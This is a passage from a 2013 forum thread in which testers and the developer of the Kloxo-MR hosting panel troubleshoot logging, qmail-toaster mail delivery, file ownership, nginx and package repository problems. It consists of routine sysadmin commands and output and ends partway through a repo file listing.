Post by: Spacedust on 2013-02-17, 00:03:46
Weird - logging works for some domains and for some doesn't work at all :/
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-17, 00:06:17
Got it:

- working one uses nginx as user

Quote
ls -l /home/httpd/domain.pl/stats/domain.pl-custom_log
-rw-rw-r-- 1 nginx apache 1,2M lut 16 19:06 /home/httpd/domain.pl/stats/domain.pl-custom_log

- non-working uses apache as user

Quote
ls -l /home/httpd/domain.pl/stats/domain.pl-custom_log
-rw-rw-r-- 1 apache apache 0 lut 11 04:07 /home/httpd/domain.pl/stats/domain.pl-custom_log

Will this be enough to fix it ?

Code: [Select]
/script/fix-chownchmod --select=chown
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-17, 00:58:31
Default chown is apache:apache but chmod is 771. Try first, change chmod as 775. If it's ok I will modified fix-chownchmod to accept this situation.

Change to chown to nginx will be trouble we change webserver to other.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-17, 01:08:21
Quote from: "MRatWork"
Default chown is apache:apache but chmod is 771. Try first, change chmod as 775. If it's ok I will modified fix-chownchmod to accept this situation.

Change to chown to nginx will be trouble we change webserver to other.

Not working even after:

/etc/init.d/nginx restart;
/etc/init.d/httpd graceful;
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-17, 01:14:55
I see logs are popping in /etc/httpd/logs directory... Why ?
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-17, 01:25:45
This '/home/httpd/domain.pl/stats/domain.pl-custom_log' is awstats data. Not related to collectquota.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-17, 01:47:20
Quote from: "MRatWork"
This '/home/httpd/domain.pl/stats/domain.pl-custom_log' is awstats data. Not related to collectquota.

I know. But I think webalizer use it too. I use webalizer on my servers and now my stats stopped working :/
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-17, 01:53:58
Webalizer covert data from /var/log/httpd to their presentation (html and image) inside '/home/httpd/<domain>/webstats/webstats'
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-17, 02:32:15
Quote from: "MRatWork"
Webalizer covert data from /var/log/httpd to their presentation (html and image) inside '/home/httpd/<domain>/webstats/webstats'

Does it work with nginxproxy ? My customers won't be able to see their own logs without this.
Title: Re: Need Kloxo-MR Tester
Post by: 4danlod on 2013-02-17, 03:18:40
Hello Mustafa

i can do it because i want to development kloxo and help you , i don't need vps but i need to make stable kloxo not different between official kloxo or Kloxo MR because this kloxo must compete with another control panel etc cpanel , directi , ...

if you want please contact me on your site or Yahoo ID ( farhadsafiri ) .

my job is linux system administration debug and troubleshooting .

With Best Regards

Farhad Safiri
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-17, 06:54:45
Quote from: "Spacedust"
Quote from: "MRatWork"
Webalizer covert data from /var/log/httpd to their presentation (html and image) inside '/home/httpd/<domain>/webstats/webstats'

Does it work with nginxproxy ? My customers won't be able to see their own logs without this.
Yes, it's work for nginx-proxy.

Different with awstats, webalizer not real-time process but convert per-day.

You can see stats for this forum to know about webalizer.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-17, 20:09:45
Quote from: "MRatWork"
Quote from: "Spacedust"
Quote from: "MRatWork"
Webalizer covert data from /var/log/httpd to their presentation (html and image) inside '/home/httpd/<domain>/webstats/webstats'

Does it work with nginxproxy ? My customers won't be able to see their own logs without this.
Yes, it's work for nginx-proxy.

Different with awstats, webalizer not real-time process but convert per-day.

You can see stats for this forum to know about webalizer.

Mustafa please fix this disk space usage in Kloxo. It's really annoying.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-17, 20:28:49
I will try to fix this issue, but worry not on 6.5.0. The code for not easy to 'learn'.

This time, still stuck for mailing-list issue.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-17, 20:35:28
Quote from: "MRatWork"
I will try to fix this issue, but worry not on 6.5.0. The code for not easy to 'learn'.

This time, still stuck for mailing-list issue.

Thank you. I hope you we will fix qmail on port 587 too ;)

I see you've started dovecot migration process. Will this be an alternative to qmail or will it just replace courier-imap ?
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-17, 20:43:01
Quote from: "Spacedust"
Quote from: "MRatWork"
I will try to fix this issue, but worry not on 6.5.0. The code for not easy to 'learn'.

This time, still stuck for mailing-list issue.

Thank you. I hope you we will fix qmail on port 587 too ;)

I see you've started dovecot migration process. Will this be an alternative to qmail or will it just replace courier-imap ?
Still based-on qmail-toaster. That mean just change courier-imap to dovecot.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-17, 20:52:54
Quote from: "MRatWork"
Still based-on qmail-toaster. That mean just change courier-imap to dovecot.

Ok. So port 587 is a must.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-17, 21:25:44
Another bug in latest Kloxo-MR upload - when I select Afterlogic as Webmail and then open webmail.domain.com it shows me blank page with Kloxo-MR logo on it.

Tested on a clean system. Apache + mod_ruid2.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-17, 21:32:27
Running /script/fixweb just shows php code from Afterlogic webmail...
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-17, 21:37:40
Quote from: "Spacedust"
Running /script/fixweb just shows php code from Afterlogic webmail...

I was change rpms for kloxo*.rpm to kloxomr*.rpm. Try running 'yum install kloxo-mr*'. This new rpms will be replace the old one.

Need 'sh /script/fixwebmail' after update to kloxomr*.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-17, 21:52:59
Quote from: "MRatWork"
Quote from: "Spacedust"
Running /script/fixweb just shows php code from Afterlogic webmail...

I was change rpms for kloxo*.rpm to kloxomr*.rpm. Try running 'yum install kloxo-mr*'. This new rpms will be replace the old one.

Need 'sh /script/fixwebmail' after update to kloxomr*.

Switching to php_fpm_event fixed the problem.

I found the reason why mails on port 25 doesn't work.

Take a look:

Code: [Select]
[root@nowosci smtp]# cat ./run
#!/bin/sh
QMAILDUID=`id -u vpopmail`
NOFILESGID=`id -g vpopmail`
MAXSMTPD=`cat /var/qmail/control/concurrencyincoming`
BLACKLIST=`cat /var/qmail/control/blacklists`
SMTPD="/var/qmail/bin/qmail-smtpd"
TCP_CDB="/etc/tcprules.d/tcp.smtp.cdb"
RBLSMTPD="/usr/bin/rblsmtpd"
HOSTNAME=`hostname`
VCHKPW="/home/vpopmail/bin/vchkpw"
REQUIRE_AUTH=0

exec /usr/bin/softlimit -m 64000000
     /usr/bin/tcpserver -v -R -H -l $HOSTNAME -x $TCP_CDB -c "$MAXSMTPD"
     -u "$QMAILDUID" -g "$NOFILESGID" 0 smtp
     $RBLSMTPD $BLACKLIST $SMTPD $VCHKPW /bin/true 2>&1

We are using non-existent group vpopmail. User vpopmail exists and that is ok.

Code: [Select]
[root@nowosci ~]# cat /etc/group | grep vpopmail
[root@nowosci ~]#

So we should add group vpopmail and user vpopmail to it.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-17, 21:55:59
No. User as vpopmail but group as vchkpw. It's default by vpopmail package.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-17, 21:59:28
Quote from: "MRatWork"
No. User as vpopmail but group as vchkpw. It's default by vpopmail package.

There seems to be a group:

Code: [Select]
NOFILESGID=`id -g vpopmail`
If I change user and group to root then all is working fine.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-17, 22:09:31
if you run 'useradd vpopmail' will be automatically add group with the same name.

You need something like:
Code: [Select]
groupadd vchkpw
useradd vpopmail -g vchkpw
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-17, 22:10:20
Quote from: "MRatWork"
Quote from: "Spacedust"
Running /script/fixweb just shows php code from Afterlogic webmail...

I was change rpms for kloxo*.rpm to kloxomr*.rpm. Try running 'yum install kloxo-mr*'. This new rpms will be replace the old one.

Need 'sh /script/fixwebmail' after update to kloxomr*.

[root@nowosci ~]# yum install kloxo-mr*
Loaded plugins: fastestmirror, priorities, protectbase, replace, security
Loading mirror speeds from cached hostfile
 * base: sunsite.icm.edu.pl
 * extras: sunsite.icm.edu.pl
 * kloxo-mr-epel: mirrors.n-ix.net
 * kloxo-mr-ius: mirrors.ircam.fr
 * updates: sunsite.icm.edu.pl
Excluding Packages from Kloxo-MR - centalt - x86_64
Finished
0 packages excluded due to repository protections
Setting up Install Process
No package kloxo-mr* available.
Nothing to do
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-17, 22:12:36
Sorry, I mean 'yum install kloxomr*'

With new phpmyadmin and roundcube.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-17, 22:19:29
Quote from: "MRatWork"
Sorry, I mean 'yum install kloxomr*'

With new phpmyadmin and roundcube.

Ok ;)

Code: [Select]
[root@nowosci ~]# yum install kloxomr*
Loaded plugins: fastestmirror, priorities, protectbase, replace, security
Loading mirror speeds from cached hostfile
 * base: sunsite.icm.edu.pl
 * extras: sunsite.icm.edu.pl
 * kloxo-mr-epel: mirrors.n-ix.net
 * kloxo-mr-ius: mirrors.ircam.fr
 * updates: sunsite.icm.edu.pl
Excluding Packages from Kloxo-MR - centalt - x86_64
Finished
0 packages excluded due to repository protections
Setting up Install Process
Package kloxomr-webmail-t-dah-3.2.0.2.3-3.mr.noarch already installed and latest version
Package kloxomr-webmail-horde-1.2.11-9.mr.noarch already installed and latest version
Package kloxomr-webmail-horde-dimp-1.2.11-9.mr.noarch already installed and latest versi            on
Package kloxomr-webmail-horde-kronolith-1.2.11-9.mr.noarch already installed and latest             version
Package kloxomr-thirdparty-sshterm-applet-0.2.2-3.mr.noarch already installed and latest             version
Package kloxomr-webmail-horde-mimp-1.2.11-9.mr.noarch already installed and latest versi            on
Package kloxomr-webmail-afterlogic-6.5.1-3.mr.noarch already installed and latest versio            n
Package kloxomr-webmail-horde-pear-1.2.11-9.mr.noarch already installed and latest versi            on
Package kloxomr-webmail-roundcube-0.8.5-1.mr.noarch already installed and latest version
Package kloxomr-addon-yui-dragdrop-2.9.0-3.mr.noarch already installed and latest versio            n
Package kloxomr-webmail-squirrelmail-1.4.22-3.mr.noarch already installed and latest ver            sion
Package kloxomr-addon-fckeditor-2.6.8-3.mr.noarch already installed and latest version
Package kloxomr-webmail-horde-ingo-1.2.11-9.mr.noarch already installed and latest versi            on
Package kloxomr-webmail-horde-imp-1.2.11-9.mr.noarch already installed and latest versio            n
Package kloxomr-webmail-horde-mnemo-1.2.11-9.mr.noarch already installed and latest vers            ion
Package kloxomr-webmail-horde-nag-1.2.11-9.mr.noarch already installed and latest versio            n
Package kloxomr-webmail-horde-turba-1.2.11-9.mr.noarch already installed and latest vers            ion
Package kloxomr-thirdparty-phpmyadmin-3.5.7-1.mr.noarch already installed and latest ver            sion
Package kloxomr-addon-extjs-1.1-4.mr.noarch already installed and latest version
Resolving Dependencies
--> Running transaction check
---> Package kloxomr-stats-awstats.noarch 0:7.1-3.mr set to be updated
--> Finished Dependency Resolution

Dependencies Resolved

========================================================================================
 Package                 Arch     Version       Repository                         Size
========================================================================================
Installing:
 kloxomr-stats-awstats   noarch   7.1-3.mr      kloxo-mr-release-neutral-noarch   1.7 M

Transaction Summary
========================================================================================
Install       1 Package(s)
Upgrade       0 Package(s)

Total download size: 1.7 M
Is this ok [y/N]: y
Downloading Packages:
kloxomr-stats-awstats-7.1-3.mr.noarch.rpm                        | 1.7 MB     00:01
Running rpm_check_debug
Running Transaction Test
Finished Transaction Test
Transaction Test Succeeded
Running Transaction
  Installing     : kloxomr-stats-awstats                                                        1/1

Installed:
  kloxomr-stats-awstats.noarch 0:7.1-3.mr

Complete!
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-17, 22:22:11
I'm still unable to send mail both on port 25 and 587. It prompts for password.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-17, 22:25:53
Quote from: "Spacedust"
I'm still unable to send mail both on port 25 and 587. It prompts for password.
Have you run 'sh /script/fixwebmail; sh /script/fixmail' after installing new kloxomr rpms?
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-17, 22:32:39
Quote from: "MRatWork"
Quote from: "Spacedust"
I'm still unable to send mail both on port 25 and 587. It prompts for password.
Have you run 'sh /script/fixwebmail; sh /script/fixmail' after installing new kloxomr rpms?

Yes.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-17, 22:40:54
Still confuse. What's you mean 'I'm still unable to send mail both on port 25 and 587. It prompts for password.'. It's appear from webmail or mail-client?. If from mail-client, what your setting and how about from webmail?.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-17, 22:45:39
Quote from: "MRatWork"
Still confuse. What's you mean 'I'm still unable to send mail both on port 25 and 587. It prompts for password.'. It's appear from webmail or mail-client?. If from mail-client, what your setting and how about from webmail?.

From Outlook 2003 - I've turned on SMTP authentication and SSL off. Ports default 25/110 or 587/110.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-18, 23:05:56
Finally I was able to send and receive on ports 25, 110 and 587 on latest upload ;)

Solution was to move spamd from vpopmail user to admin user ;D

Please note: This is on a clean system. Need more testing with IMAP and with 1:1 production server copy from older version of Kloxo-MR and of course reboot is must which I dislike :/
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-18, 23:11:37
Quote from: "Spacedust"
Finally I was able to send and receive on ports 25, 110 and 587 on latest upload ;)

Solution was to move spamd from vpopmail user to admin user ;D

Please note: This is on a clean system. Need more testing with IMAP and with 1:1 production server copy from older version of Kloxo-MR and of course reboot is must which I dislike :/
More details please. Step-by-step.
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-18, 23:16:46
Updated to latest kloxo, converted qmail to qmail-toaster and everything is working fine  :)

Just ClamAV was taking too much ram and I don't use it, so I disabled it. Now all is good.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-18, 23:16:51
Error log inside /usr/local/lxlabs/ext/php
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-18, 23:18:32
ClamAV is useless for hosting I think.

I am always not use ClamAV.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-18, 23:20:31
Quote from: "MRatWork"
Error log inside /usr/local/lxlabs/ext/php

Still testing. I've runned /script/fixmail and changed /var/qmail/supervise/spamd/.run to:

Code: [Select]
#!/bin/sh
exec /usr/bin/spamd -x -u admin -s stderr 2>&1

IMAP works too both sending and receving.

I need to test gmail but this require static IP.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-18, 23:31:25
External and internal mail forwarding works too ;)

Afterlogic failes with Internal Server Error after logging in.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-18, 23:48:30
Receiving POP3 mail on SSL port 995 works !
Receiving IMAP mail on SSL port 993 works !
Sending mail on SSL port 25 works !
Sending mail on SSL port 587 works !

Where to get SSL certificate and how to install it ?
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-18, 23:56:04
Correct: Sending mail on port 587 via SSL doesn't work :/
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-19, 05:02:45
I'm still unable to get my qmail working on test production server:

Code: [Select]
[root@nowosci supervise]# qmailctl stat
authlib: up (pid 2653) 212 seconds
clamd: up (pid 2658) 212 seconds
imap4: up (pid 2663) 212 seconds
imap4-ssl: up (pid 2652) 212 seconds
pop3: up (pid 2667) 212 seconds
pop3-ssl: up (pid 2659) 212 seconds
send: up (pid 13957) 1 seconds
smtp: up (pid 2665) 212 seconds
spamd: up (pid 2655) 212 seconds
submission: up (pid 2643) 212 seconds
authlib/log: up (pid 2656) 212 seconds
clamd/log: up (pid 2666) 212 seconds
imap4/log: up (pid 2664) 212 seconds
imap4-ssl/log: up (pid 2654) 212 seconds
pop3/log: up (pid 2660) 212 seconds
pop3-ssl/log: up (pid 2657) 212 seconds
send/log: up (pid 2644) 212 seconds
smtp/log: up (pid 2661) 212 seconds
spamd/log: up (pid 2650) 212 seconds
submission/log: up (pid 2662) 212 seconds

Send is down. When running manually I got:

Code: [Select]
[root@nowosci send]# ./run
alert: cannot start: unable to switch to queue directory
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-19, 13:49:53
Directory /var/qmail/queue must have ownership /var/qmail/queue qmailq:qmail but directory inside with qmails:qmail or qmails:qmail.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-19, 13:51:58
Quote from: "MRatWork"
Directory /var/qmail/queue must have ownership /var/qmail/queue qmailq:qmail but directory inside with qmails:qmail or qmails:qmail.

Is there anything wrong here:

Code: [Select]
   [root@nowosci /]# ls -l /var/qmail/
razem 48K
drwxr-sr-x  2 alias  qmail 4,0K sty 22 17:26 alias
drwxr-xr-x  2 root   qmail 4,0K lut 18 23:57 bin
drwxr-xr-x  2 root   qmail 4,0K lut 18 23:56 boot
drwxr-xr-x  4 root   qmail 4,0K lut 18 23:57 control
drwxr-xr-x  2 root   qmail 4,0K lut 18 23:56 doc
drwxr-xr-x 10 root   qmail 4,0K lut 18 23:56 man
drwxr-xr-- 12 qmailq qmail 4,0K lut 18 23:56 queue
-rwxr-xr-x  1 root   qmail  215 sty 22 17:26 rc
drwxr-x---  3 clamav root  4,0K sty 22 17:28 simscan
drwxr-xr-x  3    201 qmail 4,0K lut  3 21:58 spamdyke
drwxr-xr-x 12 qmaill qmail 4,0K lut 18 23:57 supervise
drwxr-xr-x  2 root   qmail 4,0K lut 18 23:56 users

or here ?

Code: [Select]
   [root@nowosci /]# ls -l /var/qmail/queue/
razem 40K
drwxr--r--  2 qmails qmail 4,0K sty 22 17:26 bounce
drwxr--r-- 25 qmails qmail 4,0K lut 18 23:56 info
drwxr--r--  2 qmailq qmail 4,0K lut 19 00:16 intd
drwxr--r-- 25 qmails qmail 4,0K lut 18 23:56 local
drwxr-xr--  2 qmailq qmail 4,0K lut 18 23:56 lock
drwxr-xr-- 25 qmailq qmail 4,0K lut 18 23:56 mess
drwxr--r--  2 qmailq qmail 4,0K lut 19 00:16 pid
drwxr--r-- 25 qmails qmail 4,0K lut 18 23:56 remote
drwxr-xr--  2 qmailq qmail 4,0K lut 19 00:16 todo
drwxr-xr-x  2 root   root  4,0K sty 28 15:19 yanked
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-19, 14:02:19
Running for fix ownership of qmail:
Code: [Select]
chown -R qmaild:qmail /var/qmail/spamdyke

chown -R qmaill:qmail /var/qmail/supervise

chown qmailq:qmail /var/qmail/queue

chown -R qmails:qmail /var/qmail/queue/bounce
chown -R qmails:qmail /var/qmail/queue/info
chown -R qmails:qmail /var/qmail/queue/local
chown -R qmails:qmail /var/qmail/queue/remote

chown -R qmailq:qmail /var/qmail/queue/intd
chown -R qmailq:qmail /var/qmail/queue/lock
chown -R qmailq:qmail /var/qmail/queue/mess
chown -R qmailq:qmail /var/qmail/queue/pid
chown -R qmailq:qmail /var/qmail/queue/todo

chown -R alias:qmail /var/qmail/alias
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-19, 17:07:24
Quote from: "MRatWork"
Running for fix ownership of qmail:
Code: [Select]
chown -R qmaild:qmail /var/qmail/spamdyke

chown -R qmaill:qmail /var/qmail/supervise

chown qmailq:qmail /var/qmail/queue

chown -R qmails:qmail /var/qmail/queue/bounce
chown -R qmails:qmail /var/qmail/queue/info
chown -R qmails:qmail /var/qmail/queue/local
chown -R qmails:qmail /var/qmail/queue/remote

chown -R qmailq:qmail /var/qmail/queue/intd
chown -R qmailq:qmail /var/qmail/queue/lock
chown -R qmailq:qmail /var/qmail/queue/mess
chown -R qmailq:qmail /var/qmail/queue/pid
chown -R qmailq:qmail /var/qmail/queue/todo

chown -R alias:qmail /var/qmail/alias

Restarted qmail, rebooted, send is still down...

This is really crazy:

Code: [Select]
[root@nowosci send]# ./run
alert: cannot start: unable to switch to queue directory
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-19, 17:19:48
There is a solution not to reboot when upgrading to qmail:

Code: [Select]
/etc/rc.d/init.d/qmail stop
and

Code: [Select]
/etc/rc.d/init.d/qmail start
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-19, 17:27:20
Quote from: "Spacedust"
There is a solution not to reboot when upgrading to qmail:

Code: [Select]
/etc/rc.d/init.d/qmail stop
and

Code: [Select]
/etc/rc.d/init.d/qmail start

You must do cd / before ;)
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-19, 18:20:11
The same command with 'qmailctl restart'.
Title: Re: Need Kloxo-MR Tester
Post by: djscooby on 2013-02-19, 18:23:22
Guyz isnt the same if we use service qmail restart?
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-19, 18:25:29
Quote from: "djscooby"
Guyz isnt the same if we use service qmail restart?
Yes. We talk about qmail-toaster on Kloxo-MR and not talk about qmail-lxcenter.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-19, 18:28:36
Quote from: "MRatWork"
The same command with 'qmailctl restart'.

Maybe but needs to be runned from cd /

I making another copy 1:1 of my production server and will see if this works again :/
Title: Re: Need Kloxo-MR Tester
Post by: djscooby on 2013-02-19, 18:34:10
Yes i have qmail toaster from mr not lxcenterqmail.. i was restarting it with this command.. thats why asking..

Mr did u find any solution with backups not working..?
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-19, 18:44:36
Quote from: "djscooby"
Yes i have qmail toaster from mr not lxcenterqmail.. i was restarting it with this command.. thats why asking..

Mr did u find any solution with backups not working..?

Backups are not important. Not working disk usage is this what we need the most.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-19, 20:20:26
I found another critical bug !

My logs are not working because nginx is unable to read so many /stats/custom_log files !

As soon as I remove some nginx domain configs it all starts to working, but when there are 2000 domains it doesn't work at all !
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-19, 20:49:00
Php-fpm is reporting I/O Errors:

Code: [Select]
[19-Feb-2013 15:35:25] ERROR: FPM initialization failed
[19-Feb-2013 15:39:19] ERROR: unable to read what child say: Bad file descriptor (9)
[19-Feb-2013 15:39:19] ERROR: unable to read what child say: Bad file descriptor (9)
[19-Feb-2013 15:39:35] ERROR: failed to ptrace(PEEKDATA) pid 27564: Input/output error (5)
[19-Feb-2013 15:48:17] ERROR: unable to read what child say: Bad file descriptor (9)
[19-Feb-2013 15:48:17] ERROR: unable to read what child say: Bad file descriptor (9)
[19-Feb-2013 15:49:35] ERROR: failed to ptrace(PEEKDATA) pid 28726: Input/output error (5)
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-20, 00:01:46
I found another problem.

When rebooted nginx doesn't start:

Code: [Select]
[root@nowosci ~]# /etc/init.d/nginx restart
nginx: [emerg] unknown "rootdirhttp" variable
nginx: configuration file /etc/nginx/nginx.conf test failed

Code: [Select]
[root@nowosci ~]# ps aux | grep nginx
root      5044  0.0  0.0  63784   820 pts/0    S+   19:03   0:00 grep nginx

When user removes domain folder but do not remove domain from Kloxo - the whole nginx is down, because config file still exists !
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-20, 00:07:21
All webservers not work when directory of domain deleted without delete their web config.

It's normal.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-20, 00:17:06
Quote from: "MRatWork"
All webservers not work when directory of domain deleted without delete their web config.

It's normal.

Apache works fine - it just displays a warning.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-20, 00:26:40
I've sent you a PM to my test system where Internal Server Error 500 shows after logging to Kloxo :)
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-20, 02:12:17
Quote from: "Spacedust"
I've sent you a PM to my test system where Internal Server Error 500 shows after logging to Kloxo :)
Don't know why but your Kloxo-MR is 6.5.0.c.2013020703. Try update to 6.5.0.c.2013021802 fix your issue.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-20, 02:34:43
Quote from: "MRatWork"
Quote from: "Spacedust"
I've sent you a PM to my test system where Internal Server Error 500 shows after logging to Kloxo :)
Don't know why but your Kloxo-MR is 6.5.0.c.2013020703. Try update to 6.5.0.c.2013021802 fix your issue.

Yes. I'm still testing Qmailtoaster that's why I was not updating ;)
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-20, 03:00:01
Run kloxo-mr-dev.sh not update qmail except you 'convert-to-qmailtoaster' separately.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-20, 03:14:06
Quote from: "MRatWork"
Run kloxo-mr-dev.sh not update qmail except you 'convert-to-qmailtoaster' separately.

Good to know. So I will update today.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-20, 23:08:00
Changes with nginx 1.3.13                                        19 Feb 2013

Code: [Select]
   *) Change: a compiler with name "cc" is now used by default.

    *) Feature: support for proxying of WebSocket connections.
       Thanks to Apcera and CloudBees for sponsoring this work.

    *) Feature: the "auth_basic_user_file" directive supports "{SHA}"
       password encryption method.
       Thanks to Louis Opter.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-20, 23:17:49
Mustafa where to get your djbdns package ?

Code: [Select]
[root@nowosci etc]# yum reinstall djbdns
Loaded plugins: fastestmirror, protectbase, replace, security
Setting up Reinstall Process
Loading mirror speeds from cached hostfile
 * addons: mirror.kisiek.net
 * atomic: mir01.syntis.net
 * base: mirror.kisiek.net
 * city-fan.org: http://www.city-fan.org
 * elrepo: mirror.solvention.de
 * elrepo-kernel: mirror.solvention.de
 * extras: mirror.kisiek.net
 * kloxo-mr-epel: ftp.icm.edu.pl
 * kloxo-mr-ius: ftp.astral.ro
 * remi: rpms.famillecollet.com
 * remi-test: rpms.famillecollet.com
 * rpmforge: http://www.mirrorservice.org
 * rpmforge-extras: http://www.mirrorservice.org
 * rpmforge-testing: http://www.mirrorservice.org
 * rpmfusion-free-updates: ftp.icm.edu.pl
 * rpmfusion-free-updates-testing: ftp.icm.edu.pl
 * rpmfusion-nonfree-updates: ftp.icm.edu.pl
 * rpmfusion-nonfree-updates-testing: ftp.icm.edu.pl
 * updates: mirror.kisiek.net
Excluding Packages in global exclude list
Finished
Excluding Packages from Kloxo-MR - centalt - x86_64
Finished
Excluding Packages from Kloxo-MR - release-version-x86_64
Finished
Excluding Packages from Kloxo-MR - release-version-noarch
Finished
0 packages excluded due to repository protections
Installed package djbdns-1.05-5.x86_64 not available.
Nothing to do
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-20, 23:50:07
New panel update doesn't work with djbdns from lxcenter so this will lead us to non-working DNS servers.

I was updating a different server few days ago with djbdns from your repo and it was working well.
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-21, 04:21:42
updated to latest kloxo, now the php version dropdown list is empty in "Webserver Config"  :o
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-21, 09:08:49
Quote from: "lapy"
updated to latest kloxo, now the php version dropdown list is empty in "Webserver Config"  :o
Hava you try 'sh /scirpt/cleanup' after update'?
Title: Re: Need Kloxo-MR Tester
Post by: hoangsang on 2013-02-21, 13:02:05
Access File Manager show error:

Could not Connect to the server localhost. This is most likely due to underlying network problem. Make sure that the server is accessible from this particular node by running telnet slave-id 7779
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-21, 13:30:15
Quote from: "hoangsang"
Access File Manager show error:

Could not Connect to the server localhost. This is most likely due to underlying network problem. Make sure that the server is accessible from this particular node by running telnet slave-id 7779
Sometimes, need reboot or run 'service kloxo restart'.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-21, 18:06:11
Quote from: "MRatWork"
Quote from: "hoangsang"
Access File Manager show error:

Could not Connect to the server localhost. This is most likely due to underlying network problem. Make sure that the server is accessible from this particular node by running telnet slave-id 7779
Sometimes, need reboot or run 'service kloxo restart'.

Mustafa why djbdns package is gone. I would like to update but I'm unable to do this without djbdns.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-21, 18:58:34
Quote from: "Spacedust"
Quote from: "MRatWork"
Quote from: "hoangsang"
Access File Manager show error:

Could not Connect to the server localhost. This is most likely due to underlying network problem. Make sure that the server is accessible from this particular node by running telnet slave-id 7779
Sometimes, need reboot or run 'service kloxo restart'.

Mustafa why djbdns package is gone. I would like to update but I'm unable to do this without djbdns.
No gone. Maybe need 'yum clean all' before update.

This djbdns conflict with spamdyke-utils. If want installed, need 'yum remove spamdyke-utils'.

It's maybe this djbdns package have 'old' source parts.

Now, I try to use 'newer' djbdns source but need modified because different location of files.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-21, 19:08:01
Quote from: "MRatWork"
Now, I try to use 'newer' djbdns source but need modified because different location of files.

Done yum clean all and still no djbdns.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-21, 19:19:04
ok, inform here content of /etc/yum.repos.d/kloxo-mr.repo
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-21, 19:32:33
Quote from: "MRatWork"
ok, inform here content of /etc/yum.repos.d/kloxo-mr.repo

[root@backup ~]# cat /etc/yum.repos.d/kloxo-mr.repo
[kloxo-mr-release-neutral-noarch]
name=Kloxo-MR - release-neutral-noarch
baseurl=https://github.com/mustafaramadhan/kloxo/raw/rpms/release/neutral/noarch/
enabled=1
gpgcheck=0

[kloxo-mr-release-neutral-arch]
name=Kloxo-MR - release-neutral-$basearch
